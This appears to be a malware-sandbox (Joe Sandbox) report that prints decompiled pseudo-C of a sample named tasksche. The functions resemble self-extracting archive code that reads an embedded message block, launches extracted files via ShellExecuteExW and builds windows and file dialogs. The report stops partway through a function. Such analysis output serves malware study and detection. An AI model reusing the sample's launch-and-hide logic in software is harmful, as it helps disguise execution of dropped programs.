Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscat$Global_wcslen$AllocAllocateByteCharCreateHeapMultiStreamWide_malloc_wcscpy
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4158105118-4209811716
Opcode ID: 5f926dabde1341af1aa2f3e728361b093cf6cb0a0bae10ac8e427f1ff92f78d4
Instruction ID: 9750a07ada00fadd6417d4a808c8c0194c88b3581ecb1a923ba5d07fa5d26e01
Opcode Fuzzy Hash: 5f926dabde1341af1aa2f3e728361b093cf6cb0a0bae10ac8e427f1ff92f78d4
Instruction Fuzzy Hash: 1C312A32900205BBDB11BB659C95EEF77789F42724F14415FF810AB2C6DB7C8E81836A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC32 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040BC32(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t82;
				WCHAR* _t83;
				intOrPtr _t90;
				void* _t91;
				unsigned int _t92;
				signed int _t100;
				intOrPtr _t102;
				intOrPtr _t106;
				signed int _t114;
				void* _t115;
				signed int _t116;
				signed int _t119;
				void* _t134;
				signed int _t139;
				signed int _t141;
				void* _t150;
				signed int _t153;
				signed int _t154;
				intOrPtr _t156;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t165;
				void* _t167;
				void* _t169;

				_t150 = __edx;
				E0041A4DC(E0042977F, _t167);
				E0041AAF0(0x4034);
				_t165 = __ecx;
				_t82 = E0041CA29( *((intOrPtr*)(_t167 + 8)), 0x5c);
				_t83 = _t167 - 0x2040;
				if(_t82 != 0) {
					L3:
					E0041A7F7(_t83,  *((intOrPtr*)(_t167 + 8)));
					E00408786(_t167 - 0x1040);
					_push(4);
					_t123 = 0;
					_push(_t167 - 0x2040);
					 *(_t167 - 4) = 0;
					if(E004087C3(_t167 - 0x1040) != 0) {
						_t12 = _t167 - 0x10;
						 *_t12 =  *(_t167 - 0x10) | 0xffffffff;
						__eflags =  *_t12;
						 *((char*)(_t167 + 0xb)) = 0;
						 *((intOrPtr*)(_t167 - 0x14)) = 0;
						_push(_t154);
						while(1) {
							__eflags =  *(_t167 - 0x10) - 0xffffffff;
							if( *(_t167 - 0x10) != 0xffffffff) {
								break;
							}
							 *((intOrPtr*)(_t167 - 0x1c)) = E00408BAE(_t167 - 0x1040, _t150);
							_t143 = _t167 - 0x1040;
							_t106 = E00408E7B(_t167 - 0x1040, _t150, _t167 - 0x4040, 0x2000);
							 *((intOrPtr*)(_t167 - 0x18)) = _t106;
							_t154 = 0;
							__eflags = _t106 + 0xfffffff0 - _t123;
							if(_t106 + 0xfffffff0 < _t123) {
								L22:
								_t123 = 0;
								E00408FED(_t167 - 0x1040,  *((intOrPtr*)(_t167 - 0x18)) +  *((intOrPtr*)(_t167 - 0x1c)) - 0x10, 0, 0);
								 *((intOrPtr*)(_t167 - 0x14)) =  *((intOrPtr*)(_t167 - 0x14)) + 1;
								__eflags =  *((intOrPtr*)(_t167 - 0x14)) - 0x80;
								if( *((intOrPtr*)(_t167 - 0x14)) < 0x80) {
									continue;
								} else {
									__eflags =  *(_t167 - 0x10) - 0xffffffff;
									if( *(_t167 - 0x10) == 0xffffffff) {
										goto L51;
									} else {
										break;
									}
								}
							} else {
								do {
									_t123 = _t167 + _t154 - 0x4040;
									__eflags =  *_t123 - 0x2a;
									if( *_t123 != 0x2a) {
										L11:
										__eflags =  *_t123 - 0x2a;
										if( *_t123 != 0x2a) {
											L15:
											__eflags =  *_t123 - 0x52;
											if( *_t123 != 0x52) {
												goto L18;
											} else {
												__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x61;
												if( *((char*)(_t167 + _t154 - 0x403f)) != 0x61) {
													goto L18;
												} else {
													_t114 = E0041D008(_t143, _t167 + _t154 - 0x403e, 0x42a6f0, 4);
													_t169 = _t169 + 0xc;
													__eflags = _t114;
													if(_t114 == 0) {
														L51:
														_t134 = _t167 - 0x1040;
													} else {
														goto L18;
													}
												}
											}
										} else {
											_t115 = _t167 + _t154 - 0x403c;
											__eflags =  *((short*)(_t115 - 2)) - 0x2a;
											if( *((short*)(_t115 - 2)) != 0x2a) {
												goto L15;
											} else {
												_t143 =  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												if(_t154 >  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0) {
													goto L15;
												} else {
													_t116 = E0041C81C(_t115, L"*messages***", 0xb);
													_t169 = _t169 + 0xc;
													__eflags = _t116;
													if(_t116 == 0) {
														 *((char*)(_t167 + 0xb)) = 1;
														goto L21;
													} else {
														goto L15;
													}
												}
											}
										}
									} else {
										__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x2a;
										if( *((char*)(_t167 + _t154 - 0x403f)) != 0x2a) {
											goto L11;
										} else {
											_t119 = E0041D008(_t143, _t167 + _t154 - 0x403e, "*messages***", 0xb);
											_t169 = _t169 + 0xc;
											__eflags = _t119;
											if(_t119 == 0) {
												L21:
												_t154 = _t154 +  *((intOrPtr*)(_t167 - 0x1c));
												__eflags = _t154;
												 *(_t167 - 0x10) = _t154;
												goto L22;
											} else {
												goto L11;
											}
										}
									}
									goto L52;
									L18:
									_t154 = _t154 + 1;
									__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0;
								} while (_t154 <=  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0);
								goto L22;
							}
							L52:
							_t75 = _t167 - 4;
							 *_t75 =  *(_t167 - 4) | 0xffffffff;
							__eflags =  *_t75;
							_t91 = E00408C7D(_t123, _t134);
							goto L53;
						}
						asm("cdq");
						E00408FED(_t167 - 0x1040,  *(_t167 - 0x10), _t150, _t123);
						_t90 = E0041CF3E(_t123, _t150, _t154, 0x80002);
						 *_t165 = _t90;
						_t134 = _t167 - 0x1040;
						__eflags = _t90 - _t123;
						if(_t90 != _t123) {
							_t92 = E00408E7B(_t134, _t150, _t90, 0x80000);
							__eflags =  *((char*)(_t167 + 0xb));
							 *(_t165 + 4) = _t92;
							if( *((char*)(_t167 + 0xb)) == 0) {
								_t156 = E0041CF3E(_t123, _t150, _t154, _t92 + _t92 + 2);
								__eflags = _t156 - _t123;
								if(_t156 != _t123) {
									 *((char*)( *(_t165 + 4) +  *_t165)) = 0;
									__eflags =  *(_t165 + 4) + 1;
									E00411B3C( *_t165, _t156,  *(_t165 + 4) + 1);
									_push( *_t165);
									E0041A506(_t123, _t156, _t165, __eflags);
									 *_t165 = _t156;
									goto L29;
								}
							} else {
								 *(_t165 + 4) = _t92 >> 1;
								L29:
								_t139 =  *(_t165 + 4);
								_t100 = 0x40000;
								__eflags = _t139 - 0x40000;
								if(_t139 <= 0x40000) {
									_t100 = _t139;
								}
								 *((short*)( *_t165 + _t100 * 2)) = 0;
								_t141 = 0;
								__eflags =  *(_t165 + 4);
								if( *(_t165 + 4) > 0) {
									while(1) {
										_t102 =  *_t165;
										_t153 =  *(_t102 + _t123 * 2) & 0x0000ffff;
										_t123 = _t123 + 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										__eflags = _t153 - 0x5c;
										if(_t153 != 0x5c) {
											__eflags = _t153 - 0xd;
											if(_t153 == 0xd) {
												L47:
												_push(0xc);
												goto L48;
											} else {
												__eflags = _t153 - 0xa;
												if(_t153 == 0xa) {
													goto L47;
												}
											}
										} else {
											_t158 = ( *(_t102 + _t123 * 2) & 0x0000ffff) - 0x22;
											__eflags = _t158;
											if(_t158 == 0) {
												_push(0x22);
												goto L44;
											} else {
												_t159 = _t158 - 0x3a;
												__eflags = _t159;
												if(_t159 == 0) {
													_push(0x5c);
													goto L44;
												} else {
													_t160 = _t159 - 0x12;
													__eflags = _t160;
													if(_t160 == 0) {
														_push(0xa);
														goto L44;
													} else {
														_t161 = _t160 - 4;
														__eflags = _t161;
														if(_t161 == 0) {
															_push(0xd);
															goto L44;
														} else {
															__eflags = _t161 == 0;
															if(_t161 == 0) {
																_push(9);
																L44:
																_t123 = _t123 + 1;
																L48:
																_pop(_t153);
															}
														}
													}
												}
											}
										}
										 *(_t102 + _t141 * 2) = _t153;
										_t141 = _t141 + 1;
										__eflags = _t123 -  *(_t165 + 4);
										if(_t123 <  *(_t165 + 4)) {
											continue;
										}
										goto L50;
									}
								}
								L50:
								__eflags = 0;
								 *((short*)( *_t165 + _t141 * 2)) = 0;
								 *(_t165 + 4) = _t141;
							}
							goto L51;
						}
						goto L52;
					} else {
						 *(_t167 - 4) =  *(_t167 - 4) | 0xffffffff;
						_t91 = E00408C7D(0, _t167 - 0x1040);
					}
					L53:
				} else {
					GetModuleFileNameW(0, _t83, 0x800);
					_t91 = E0041CA4F(_t167 - 0x2040, 0x5c);
					if(_t91 != 0) {
						_t83 = _t91 + 2;
						goto L3;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t167 - 0xc));
				return _t91;
			}

0x0040bc32
0x0040bc37
0x0040bc41
0x0040bc4c
0x0040bc4e
0x0040bc57
0x0040bc5d
0x0040bc88
0x0040bc8c
0x0040bc9a
0x0040bc9f
0x0040bca7
0x0040bca9
0x0040bcb0
0x0040bcba
0x0040bcd0
0x0040bcd0
0x0040bcd0
0x0040bcd4
0x0040bcd7
0x0040bcda
0x0040bcdb
0x0040bcdb
0x0040bcdf
0x00000000
0x00000000
0x0040bcf0
0x0040bcff
0x0040bd05
0x0040bd0a
0x0040bd10
0x0040bd12
0x0040bd14
0x0040bdc8
0x0040bdce
0x0040bddd
0x0040bde2
0x0040bde5
0x0040bdec
0x00000000
0x0040bdf2
0x0040bdf2
0x0040bdf6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bdf6
0x0040bd1a
0x0040bd1a
0x0040bd1a
0x0040bd21
0x0040bd24
0x0040bd4b
0x0040bd4b
0x0040bd4f
0x0040bd7d
0x0040bd7d
0x0040bd80
0x00000000
0x0040bd82
0x0040bd82
0x0040bd8a
0x00000000
0x0040bd8c
0x0040bd9b
0x0040bda0
0x0040bda3
0x0040bda5
0x0040befd
0x0040befd
0x00000000
0x00000000
0x00000000
0x0040bda5
0x0040bd8a
0x0040bd51
0x0040bd51
0x0040bd58
0x0040bd5d
0x00000000
0x0040bd5f
0x0040bd62
0x0040bd65
0x0040bd67
0x00000000
0x0040bd69
0x0040bd71
0x0040bd76
0x0040bd79
0x0040bd7b
0x0040bdbc
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd7b
0x0040bd67
0x0040bd5d
0x0040bd26
0x0040bd26
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd3f
0x0040bd44
0x0040bd47
0x0040bd49
0x0040bdc0
0x0040bdc3
0x0040bdc3
0x0040bdc5
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd49
0x0040bd2e
0x00000000
0x0040bdab
0x0040bdae
0x0040bdb2
0x0040bdb2
0x00000000
0x0040bdba
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf07
0x00000000
0x0040bf0c
0x0040bdff
0x0040be09
0x0040be13
0x0040be19
0x0040be1b
0x0040be21
0x0040be23
0x0040be2f
0x0040be34
0x0040be38
0x0040be3b
0x0040be4e
0x0040be51
0x0040be53
0x0040be5e
0x0040be65
0x0040be6a
0x0040be6f
0x0040be71
0x0040be77
0x00000000
0x0040be77
0x0040be3d
0x0040be3f
0x0040be79
0x0040be79
0x0040be7c
0x0040be81
0x0040be83
0x0040be85
0x0040be85
0x0040be8b
0x0040be8f
0x0040be91
0x0040be94
0x0040be96
0x0040be96
0x0040be98
0x0040be9c
0x0040be9d
0x0040bea0
0x00000000
0x00000000
0x0040bea2
0x0040bea6
0x0040bed9
0x0040bedd
0x0040bee5
0x0040bee5
0x00000000
0x0040bedf
0x0040bedf
0x0040bee3
0x00000000
0x00000000
0x0040bee3
0x0040bea8
0x0040beac
0x0040beac
0x0040beaf
0x0040bed4
0x00000000
0x0040beb1
0x0040beb1
0x0040beb1
0x0040beb4
0x0040bed0
0x00000000
0x0040beb6
0x0040beb6
0x0040beb6
0x0040beb9
0x0040becc
0x00000000
0x0040bebb
0x0040bebb
0x0040bebb
0x0040bebe
0x0040bec8
0x00000000
0x0040bec0
0x0040bec1
0x0040bec2
0x0040bec4
0x0040bed6
0x0040bed6
0x0040bee7
0x0040bee7
0x0040bee7
0x0040bec2
0x0040bebe
0x0040beb9
0x0040beb4
0x0040beaf
0x0040bee8
0x0040beec
0x0040beed
0x0040bef0
0x00000000
0x00000000
0x00000000
0x0040bef0
0x0040be96
0x0040bef2
0x0040bef4
0x0040bef6
0x0040befa
0x0040befa
0x00000000
0x0040be3b
0x00000000
0x0040bcbc
0x0040bcbc
0x0040bcc6
0x0040bcc6
0x0040bf0d
0x0040bc5f
0x0040bc67
0x0040bc76
0x0040bc7f
0x0040bc85
0x00000000
0x0040bc85
0x0040bc7f
0x0040bf12
0x0040bf1a

APIs

__EH_prolog.LIBCMT ref: 0040BC37
_wcschr.LIBCMT ref: 0040BC4E
GetModuleFileNameW.KERNEL32(00000000,?,00000800,004335BC,0040C3B4,0041005C,00439820,0041005C,00439820), ref: 0040BC67
_wcsrchr.LIBCMT ref: 0040BC76
_wcscpy.LIBCMT ref: 0040BC8C
_malloc.LIBCMT ref: 0040BE13

Part of subcall function 00408BAE: SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
Part of subcall function 00408BAE: GetLastError.KERNEL32(?,?), ref: 00408BEE

_strncmp.LIBCMT ref: 0040BD3F
_strncmp.LIBCMT ref: 0040BD9B
_malloc.LIBCMT ref: 0040BE49

Strings

a, xrefs: 0040BD82
*messages***, xrefs: 0040BD6B
*messages***, xrefs: 0040BD39

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File_malloc_strncmp$ErrorH_prologLastModuleNamePointer_wcschr_wcscpy_wcsrchr
String ID: *messages***$*messages***$a
API String ID: 644328012-1639468518
Opcode ID: adb6ff6c9b55866188c3b73c7ed1d0a9028868756e270cff1488f78acb69c52c
Instruction ID: aa973f8903d1be904dc07ab5abbbb304e5ce1521a2ae556c165a5ca6c4136d8e
Opcode Fuzzy Hash: adb6ff6c9b55866188c3b73c7ed1d0a9028868756e270cff1488f78acb69c52c
Instruction Fuzzy Hash: 5981F2B1A002099ADB34DF64CC85BEA77A4EF10354F10417FE791B72D1DBB88A85CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E46C Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E46C(signed short* __ecx, struct HWND__* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				long _v16;
				struct _SHELLEXECUTEINFOW _v76;
				char _v4172;
				void* __edi;
				void* _t58;
				signed int _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				int _t66;
				intOrPtr _t76;
				signed short* _t83;
				signed int _t89;
				signed short* _t90;
				signed short _t92;
				long _t94;
				signed short* _t97;

				_t58 = E0041AAF0(0x1048);
				_t97 = __ecx;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L51:
					return _t58;
				}
				_t58 = E0041A7AF(__ecx);
				if(_t58 >= 0x7f6) {
					goto L51;
				} else {
					_t94 = 0x3c;
					E0041A820(_t94,  &_v76, 0, _t94);
					_t89 =  *_t97 & 0x0000ffff;
					_v76.cbSize = _t94;
					_v76.fMask = 0x1c0;
					if(_t89 != 0x22) {
						_v76.lpFile = _t97;
					} else {
						_v76.lpFile =  &(_t97[1]);
					}
					_t61 = 0;
					if(_t89 == 0) {
						L20:
						_t62 = _v76.lpParameters;
						if(_t62 == 0 ||  *_t62 == 0) {
							if(_a8 == 0 &&  *0x44287a != 0) {
								_v76.lpParameters = 0x44287a;
							}
						}
						_v76.nShow = 1;
						_t63 = E0040A76A(_v76.lpFile);
						_v12 = _t63;
						if(_t63 != 0 && E00411E60(_t63, L".inf") == 0) {
							_v76.lpVerb = L"Install";
						}
						if(E004092A5(_v76.lpFile) != 0) {
							E0040A9CB(_t94, _v76.lpFile,  &_v4172, 0x800);
							_v76.lpFile =  &_v4172;
						}
						_t66 = ShellExecuteExW( &_v76);
						if(_t66 == 0) {
							L50:
							return _t66;
						} else {
							_v5 = 0;
							if( *0x441870 != 0 || _a8 != 0 ||  *0x44185d != 0) {
								if(_a4 != 0 && IsWindowVisible(_a4) != 0) {
									ShowWindow(_a4, 0);
									_v5 = 1;
								}
								WaitForInputIdle(_v76.hProcess, 0x7d0);
								E0040D857(_v76.hProcess);
								if( *0x44185d != 0 && GetExitCodeProcess(_v76.hProcess,  &_v16) != 0) {
									_t76 = _v16 + 0x3e8;
									if(_t76 >  *0x441860) {
										 *0x441860 = _t76;
									}
								}
							}
							_t66 = CloseHandle(_v76.hProcess);
							if(_v12 == 0) {
								L43:
								if( *0x441870 == 0 || _a8 != 0) {
									_t66 = ((0 | _a8 == 0x00000000) - 0x00000001 & 0xfffffce0) + 0x3e8;
									 *0x441864 = _t66;
								} else {
									 *0x441864 = 0x1b58;
								}
								goto L47;
							} else {
								_t66 = E00411E60(_v12, L".exe");
								if(_t66 == 0) {
									L47:
									if(_v5 != 0 && _a8 != 0) {
										_t66 = ShowWindow(_a4, 1);
									}
									goto L50;
								}
								goto L43;
							}
						}
					} else {
						_t90 = _t97;
						do {
							if( *_t90 != 0x22) {
								L13:
								if(_t97[_t61] == 0x20 ||  *((short*)(_t97 + 2 + _t61 * 2)) == 0x2f) {
									_t83 =  &(_t97[_t61]);
									if( *_t83 == 0x20) {
										 *_t83 = 0;
									}
									_v76.lpParameters =  &(_t83[1]);
									goto L20;
								} else {
									goto L15;
								}
							}
							while(1) {
								_t61 = _t61 + 1;
								if(_t97[_t61] == 0) {
									break;
								}
								if(_t97[_t61] == 0x22) {
									_t92 = 0x20;
									_t97[_t61] = _t92;
									goto L13;
								}
							}
							goto L13;
							L15:
							_t61 = _t61 + 1;
							_t90 =  &(_t97[_t61]);
						} while ( *_t90 != 0);
						goto L20;
					}
				}
			}

0x0040e474
0x0040e47b
0x0040e482
0x0040e68a
0x0040e68a
0x0040e68a
0x0040e489
0x0040e494
0x00000000
0x0040e49a
0x0040e49d
0x0040e4a4
0x0040e4a9
0x0040e4af
0x0040e4b2
0x0040e4bd
0x0040e4c7
0x0040e4bf
0x0040e4c2
0x0040e4c2
0x0040e4ca
0x0040e4cf
0x0040e520
0x0040e520
0x0040e525
0x0040e52f
0x0040e53a
0x0040e53a
0x0040e52f
0x0040e544
0x0040e54b
0x0040e550
0x0040e555
0x0040e566
0x0040e566
0x0040e577
0x0040e588
0x0040e593
0x0040e593
0x0040e59a
0x0040e5a2
0x0040e686
0x00000000
0x0040e5a8
0x0040e5ae
0x0040e5bc
0x0040e5ce
0x0040e5e1
0x0040e5e3
0x0040e5e3
0x0040e5ef
0x0040e5f8
0x0040e603
0x0040e619
0x0040e621
0x0040e623
0x0040e623
0x0040e621
0x0040e603
0x0040e62b
0x0040e634
0x0040e647
0x0040e64d
0x0040e66e
0x0040e670
0x0040e654
0x0040e654
0x0040e654
0x00000000
0x0040e636
0x0040e63e
0x0040e645
0x0040e675
0x0040e678
0x0040e684
0x0040e684
0x00000000
0x0040e678
0x00000000
0x0040e645
0x0040e634
0x0040e4d1
0x0040e4d1
0x0040e4d3
0x0040e4d7
0x0040e4f2
0x0040e4f7
0x0040e50c
0x0040e513
0x0040e517
0x0040e517
0x0040e51d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e4f7
0x0040e4e2
0x0040e4e2
0x0040e4e7
0x00000000
0x00000000
0x0040e4e0
0x0040e4ed
0x0040e4ee
0x00000000
0x0040e4ee
0x0040e4e0
0x00000000
0x0040e501
0x0040e501
0x0040e502
0x0040e505
0x00000000
0x0040e50a
0x0040e4cf

APIs

_wcslen.LIBCMT ref: 0040E489
_memset.LIBCMT ref: 0040E4A4
ShellExecuteExW.SHELL32(?), ref: 0040E59A
IsWindowVisible.USER32 ref: 0040E5D3
ShowWindow.USER32(?,00000000), ref: 0040E5E1
WaitForInputIdle.USER32 ref: 0040E5EF
GetExitCodeProcess.KERNEL32 ref: 0040E60C
CloseHandle.KERNEL32(?), ref: 0040E62B
ShowWindow.USER32(?,00000001), ref: 0040E684

Strings

.inf, xrefs: 0040E557
z(D, xrefs: 0040E53A
.exe, xrefs: 0040E636

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_memset_wcslen
String ID: .exe$.inf$z(D
API String ID: 3215649069-3601587883
Opcode ID: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction ID: 3e26098100528e53db86749210a7047ac1cc05a8490cbdb1dbf577081e62715c
Opcode Fuzzy Hash: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction Fuzzy Hash: 8051B571910258BADF31AFA2EC405AE7BB4EF11304F444C7BE841B72E1E77999A5CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00419A9D Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00419A9D(void* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, struct HWND__* _a12, intOrPtr _a16, int _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t41;
				long _t42;
				struct HWND__* _t46;
				void* _t52;
				struct HWND__* _t61;
				void* _t69;
				WCHAR* _t71;

				_t61 = _a8;
				_t69 = __ecx;
				 *(__ecx + 8) = _t61;
				 *((char*)(__ecx + 0x25)) = _a20;
				ShowWindow(_t61, 0);
				E00419A36(_t69, _a4);
				 *(_t69 + 0x14) = _a12;
				 *((intOrPtr*)(_t69 + 0x18)) = _a16;
				GetWindowRect(_t61,  &_v20);
				_t52 = GetParent;
				MapWindowPoints(0, GetParent(_t61),  &_v20, 2);
				_t41 =  *(_t69 + 4);
				if(_t41 != 0) {
					DestroyWindow(_t41);
				}
				_t42 = _v20.x;
				_a20 = _t42 + 1;
				_t46 = CreateWindowExW(0, L"RarHtmlClassName", 0, 0x40000000, _a20, _v20.y, _v12 - _t42, _v8 - _v20.y, GetParent(_a8), 0,  *_t69, _t69);
				 *(_t69 + 4) = _t46;
				if( *((intOrPtr*)(_t69 + 0x10)) != 0) {
					__eflags = _t46;
					if(_t46 != 0) {
						ShowWindow(_t46, 5);
						_t46 = UpdateWindow( *(_t69 + 4));
					}
					__eflags =  *((intOrPtr*)(_t69 + 0x20)) - 0x64;
					if( *((intOrPtr*)(_t69 + 0x20)) > 0x64) {
						_t46 = E004192D0(_t69);
					}
				} else {
					if(_a8 != 0 &&  *((intOrPtr*)(_t69 + 0x18)) == 0) {
						_t46 =  *(_t69 + 0x14);
						_t79 = _t46;
						if(_t46 != 0) {
							_push(_t46);
							_t46 = E0041947D(_t52, _t69, _t79);
							_t71 = _t46;
							_t80 = _t71;
							if(_t71 != 0) {
								ShowWindow(_a8, 5);
								SetWindowTextW(_a8, _t71);
								_push(_t71);
								_t46 = E0041A506(_t52, 0, _t71, _t80);
							}
						}
					}
				}
				return _t46;
			}

0x00419aa9
0x00419aac
0x00419ab1
0x00419ab4
0x00419ab7
0x00419ac2
0x00419aca
0x00419ad0
0x00419ad8
0x00419ade
0x00419af0
0x00419af6
0x00419afb
0x00419afe
0x00419afe
0x00419b04
0x00419b18
0x00419b3b
0x00419b41
0x00419b47
0x00419b86
0x00419b88
0x00419b8d
0x00419b96
0x00419b96
0x00419b9c
0x00419ba0
0x00419ba4
0x00419ba4
0x00419b49
0x00419b4c
0x00419b53
0x00419b56
0x00419b58
0x00419b5a
0x00419b5d
0x00419b62
0x00419b64
0x00419b66
0x00419b6d
0x00419b77
0x00419b7d
0x00419b7e
0x00419b83
0x00419b66
0x00419b58
0x00419b4c
0x00419bad

APIs

ShowWindow.USER32(?,00000000,00000000,?,?), ref: 00419AB7

Part of subcall function 00419A36: LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
Part of subcall function 00419A36: RegisterClassExW.USER32 ref: 00419A8E

GetWindowRect.USER32 ref: 00419AD8
GetParent.USER32(?), ref: 00419AEB
MapWindowPoints.USER32 ref: 00419AF0
DestroyWindow.USER32(?), ref: 00419AFE
GetParent.USER32(?), ref: 00419B1C
CreateWindowExW.USER32 ref: 00419B3B
ShowWindow.USER32(?,00000005,?), ref: 00419B6D
SetWindowTextW.USER32(?,00000000), ref: 00419B77
ShowWindow.USER32(00000000,00000005), ref: 00419B8D
UpdateWindow.USER32(?), ref: 00419B96

Strings

RarHtmlClassName, xrefs: 00419B35

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction ID: a0655035169e6554100d25c4e6de203faa719369231219c5c88fda93c074337e
Opcode Fuzzy Hash: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction Fuzzy Hash: 0331B035600604EFCB319F65EC48EAFBBB9FF44700F10451AF91692260D735AD51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405164 Relevance: 21.1, APIs: 14, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00405164(void* __ecx, intOrPtr _a4, intOrPtr _a8, short* _a12, intOrPtr _a16, char _a20) {
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v60;
				short* _v64;
				char* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				char _v1116;
				void* __edi;
				signed int _t40;
				intOrPtr _t44;
				signed int _t48;
				signed int _t57;
				void* _t61;
				signed int _t62;
				void* _t64;
				char _t65;
				short* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t76;

				_t63 =  &_v1116;
				if(_a16 != 0) {
					E0041A7F7( &_v1116, _a16);
					_t67 = _t68 + E0041A7AF( &_v1116) * 2 - 0x456;
					E0041A7F7(_t67, _a16);
					_t57 = E0041A7AF(_t67);
					_t69 = _t69 + 0x18;
					_t63 = _t67 + 2 + _t57 * 2;
				}
				E0041A7F7(_t63, E0040C3BF(0xa2));
				_t64 = _t63 + 2 + E0041A7AF(_t63) * 2;
				E0041A7F7(_t64, 0x42a570);
				_t40 = E0041A7AF(_t64);
				 *((short*)(_t64 + 2 + _t40 * 2)) = 0;
				_t65 = 0x58;
				E0041A820(_t61,  &_v92, 0, _t65);
				_v88 = _a4;
				_t44 =  *0x4335a8; // 0x400000
				_v84 = _t44;
				_v80 =  &_v1116;
				_v92 = _t65;
				_t66 = _a12;
				_v44 = _a8;
				_v64 = _t66;
				_v60 = 0x800;
				_v40 = 0x1080c;
				_push( &_v92);
				if(_a20 == 0) {
					_t48 = GetOpenFileNameW();
				} else {
					_t48 = GetSaveFileNameW();
